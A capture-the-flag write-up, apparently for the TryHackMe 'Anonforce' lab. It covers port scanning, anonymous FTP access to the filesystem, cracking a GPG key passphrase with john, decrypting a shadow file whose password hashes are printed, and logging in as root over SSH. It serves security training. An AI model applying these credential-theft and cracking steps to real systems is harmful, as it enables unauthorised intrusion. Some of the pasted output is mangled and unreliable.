

Anonforce (THM)

ip of the machine :- 10.10.63.53

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~ (4.243s)
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ping 10.10.63.53 -c 5
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PING 10.10.63.53 (10.10.63.53) 56(84) bytes of data.
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```
64 bytes from 10.10.63.53: icmp_seq=1 ttl=60 time=188 ms
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64 bytes from 10.10.63.53: icmp_seq=2 ttl=60 time=343 ms
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64 bytes from 10.10.63.53: icmp_seq=3 ttl=60 time=167 ms
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64 bytes from 10.10.63.53: icmp_seq=4 ttl=60 time=186 ms
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64 bytes from 10.10.63.53: icmp_seq=5 ttl=60 time=206 ms
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```
--- 10.10.63.53 ping statistics ---
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5 packets transmitted, 5 received, 0% packet loss, time 4005ms
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rtt min/avg/max/mdev = 167.420/218.133/343.344/63.790 ms
```

machine is on!!!

~ (1m 5.31s)



```
nmap -p- --min-rate=10000 10.10.63.53
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Starting Nmap 7.95 (<https://nmap.org>) at 2024-11-12 22:48 IST

Warning: 10.10.63.53 giving up on port because retransmission cap hit (10).

Nmap scan report for 10.10.63.53

Host is up (0.16s latency).

Not shown: 44121 closed tcp ports (conn-refused), 21412 filtered tcp ports (no-response)

PORT	STATE	SERVICE
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21/tcp	open	ftp
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22/tcp	open	ssh
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Nmap done: 1 IP address (1 host up) scanned in 65.28 seconds

Got some open ports, bit no http.

~ (8.483s)

nmap -p 21,22 -sC -A -T5 -Pn 10.10.63.53

Starting Nmap 7.95 (<https://nmap.org>) at 2024-11-12 22:50 IST

Nmap scan report for 10.10.63.53

Host is up (0.23s latency).

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

| ftp-syst:

| STAT:

| FTP server status:

| Connected to ::ffff:10.17.0.193

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 3

| vsFTPD 3.0.3 - secure, fast, stable

|_End of status

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin

| drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot

| drwxr-xr-x 17 0 0 3700 Nov 12 09:16 dev

| drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc

| drwxr-xr-x 3 0 0 4096 Aug 11 2019 home

| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4

.0-157-generic

| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img

-4.4.0-142-generic

| drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib

| drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64

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| drwxr-xr-x    2 0      0          4096 Aug 11 2019 lib04
| drwx-----   2 0      0        16384 Aug 11 2019 lost+found
| drwxr-xr-x    4 0      0          4096 Aug 11 2019 media
| drwxr-xr-x    2 0      0          4096 Feb 26 2019 mnt
| drwxrwxrwx    2 1000    1000       4096 Aug 11 2019 notread [NSE: writeable]
| drwxr-xr-x    2 0      0          4096 Aug 11 2019 opt
| dr-xr-xr-x   95 0      0              0 Nov 12 09:16 proc
| drwx-----   3 0      0          4096 Aug 11 2019 root

```

So, did an aggressive scan and found that whole root directory is accessible through ftp.

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~
ftp 10.10.63.53 21

Connected to 10.10.63.53.
220 (vsFTPd 3.0.3)
Name (10.10.63.53:sohamt): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> █

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Logged in through anonymous login.

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ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    4 1000    1000          4096 Aug 11   2019 melodias
226 Directory send OK.
ftp> █
```

Found a user in /home directory.

```
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    4 1000    1000          4096 Aug 11   2019 .
drwxr-xr-x    3 0        0          4096 Aug 11   2019 ..
-rw-----    1 0        0           117 Aug 11   2019 .bash_history
-rw-r--r--    1 1000    1000          220 Aug 11   2019 .bash_logout
-rw-r--r--    1 1000    1000        3771 Aug 11   2019 .bashrc
drwx-----    2 1000    1000          4096 Aug 11   2019 .cache
drwxrwxr-x    2 1000    1000          4096 Aug 11   2019 .nano
-rw-r--r--    1 1000    1000          655 Aug 11   2019 .profile
-rw-r--r--    1 1000    1000           0 Aug 11   2019 .sudo_as_admin_successful
-rw-r--r--    1 0        0           183 Aug 11   2019 .wget-hsts
-rw-rw-r--    1 1000    1000           33 Aug 11   2019 user.txt
226 Directory send OK.
ftp> get user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 8.5e-05 seconds (379 kbytes/s)
ftp> █
```

Got user flag into the system.

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drwxr-xr-x    2 0      0          4096 Feb 28  2017 mnt
drwxrwxrwx    2 1000    1000      4096 Aug 11  2019 notread
drwxr-xr-x    2 0      0          4096 Aug 11  2019 opt
dr-xr-xr-x   85 0      0           0 Nov 12 09:16 proc
dwxr-xr-x    3 0      0          4096 Aug 11  2019 root

```

So, found this directory in root directory.

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150 Here comes the directory listing.
-rwxrwxrwx    1 1000    1000      524 Aug 11  2019 backup.gpg
-rwxrwxrwx    1 1000    1000     3762 Aug 11  2019 private.asc
226 Directory send OK.

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Got two files in them. Let's get them and then see what to do with them.

```
gpg --import key.asc
```

Decrypt the file:

```
gpg --decrypt file.gpg
```

So, after a quick search found out that private.asc is a private key use for decryption on encrypted .gpg file.

Passphrase:

Please enter the passphrase to import the
OpenPGP secret key:

"anonforce <melodias@anonforce.nsa>"
2048-bit DSA key, ID B92CD1F280AD82C2,
created 2019-08-12.

Cancel

OK

It asks for passphrase while importing the private key. Let's see how to crack this.

```
~ (0.12s)  
gpg2john private.asc > hash  
  
File private.asc
```

So, using gpg2john to create hash of the private key.

```
~ (28.312s)
john hash -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xbox360 (anonforce)
1g 0:00:00:00 DONE (2024-11-12 23:08) 33.33g/s 81333p/s 81333c/s 81333C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed
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So, cracked the passphrase using john.

```
~ (6.147s)
gpg --import private.asc

gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: key B92CD1F280AD82C2: secret key imported
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: Total number processed: 2
gpg:         unchanged: 2
gpg:         secret keys read: 1
gpg:         secret keys imported: 1
```

It worked. Let's decrypt our file.

~ (0.252s)

gpg --decrypt backup.pgp

gpg: encrypted with elg512 key, ID AA6268D1E6612967, created 20

"anonforce <melodias@anonforce.nsa>"

gpg: WARNING: cipher algorithm CAST5 not found in recipient pre

root:\$6\$07nYFaYf\$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bs0

2tV4uob5RVM0:18120:0:99999:7:::

daemon*:17953:0:99999:7:::

bin*:17953:0:99999:7:::

sys*:17953:0:99999:7:::

sync*:17953:0:99999:7:::

games*:17953:0:99999:7:::

man*:17953:0:99999:7:::

lp*:17953:0:99999:7:::

mail*:17953:0:99999:7:::

news*:17953:0:99999:7:::

uucp*:17953:0:99999:7:::

proxy*:17953:0:99999:7:::

www-data*:17953:0:99999:7:::

backup*:17953:0:99999:7:::

list*:17953:0:99999:7:::

irc*:17953:0:99999:7:::

gnats*:17953:0:99999:7:::

nobody*:17953:0:99999:7:::

systemd-timesync*:17953:0:99999:7:::

systemd-network*:17953:0:99999:7:::

systemd-resolve*:17953:0:99999:7:::

systemd-bus-proxy*:17953:0:99999:7:::

syslog*:17953:0:99999:7:::

_apt*:17953:0:99999:7:::

messagebus*:18120:0:99999:7:::

uuidd*:18120:0:99999:7:::

melodias:\$1\$yDhc/\$6\$T0HUM5Z+MkR05+UMj50+L1+18120:0:99999:7:::

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meC0d1as.$1$xbnc03000$1qndw5ZtHKBQSp0nJEqtL1.18120.0.99999.7...
sshd:*:18120:0:99999:7:::
ftp:*:18120:0:99999:7:::█
```

So, again it prompted for passphrase but it was same as before and got password hash for the user and root.

```
* (33.913s)
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hashcat hash

```
Time.Estimated....: Tue Nov 12 23:11:32 2024 (0 secs)
Kernel.Feature....: Pure Kernel
Guess.Base.....: Pipe
Speed.#1.....: 0 H/s (0.00ms) @ Accel:32 Loops:31 Thr:256 Vec:1
Recovered.....: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.....: 0
Rejected.....: 0
Restore.Point....: 0
Restore.Sub.#1...: Salt:0 Amplifier:0-0 Iteration:0-31
Candidate.Engine.: Device Generator
Candidates.#1....: [Copying]
Hardware.Mon.#1...: Temp: 49c Util: 0% Core:1380MHz Mem:6000MHz Bus:4
```

So, used hashcat to see the type first which is md5. Let's crack it now. So, it didn't work.

~ (4.137s)

```
john hash --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
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Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"

Use the "--format=sha512crypt-opencl" option to force loading these as that type instead

Using default input encoding: UTF-8

Loaded 1 password hash (sha512crypt, crypt(3) \$6\$ [SHA512 128/128 AVX 2x])

Cost 1 (iteration count) is 5000 for all loaded hashes

Will run 8 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

hikari (?)

1g 0:00:00:01 DONE (2024-11-12 23:22) 0.5347g/s 3833p/s 3833c/s 3833C/s 1111111111111111..dr
oopy

Use the "--show" option to display all of the cracked passwords reliably

Session completed

So, this time added password hash of root user in the hash file and then cracked it and it got cracked.

```
root@ubuntu ~
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root@ubuntu:~ (0s)
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```
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)
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* Documentation:  https://help.ubuntu.com  
* Management:    https://landscape.canonical.com  
* Support:        https://ubuntu.com/advantage
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```
~ (6.792s)
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```
ssh root@10.10.63.53
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The authenticity of host '10.10.63.53 (10.10.63.53)' can't be established.  
ED25519 key fingerprint is SHA256:+bhLW3R5qYI2SvPQsCWR9ewCoewWWvFfTVFQUAGr+ew.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '10.10.63.53' (ED25519) to the list of known hosts.  
root@10.10.63.53's password:
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Now, was able to login as root with the password.

```
root@ubuntu ~ (0.704s)
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```
ls
```

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root.txt
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root@ubuntu:~ (0.185s)
```

Got the root flag.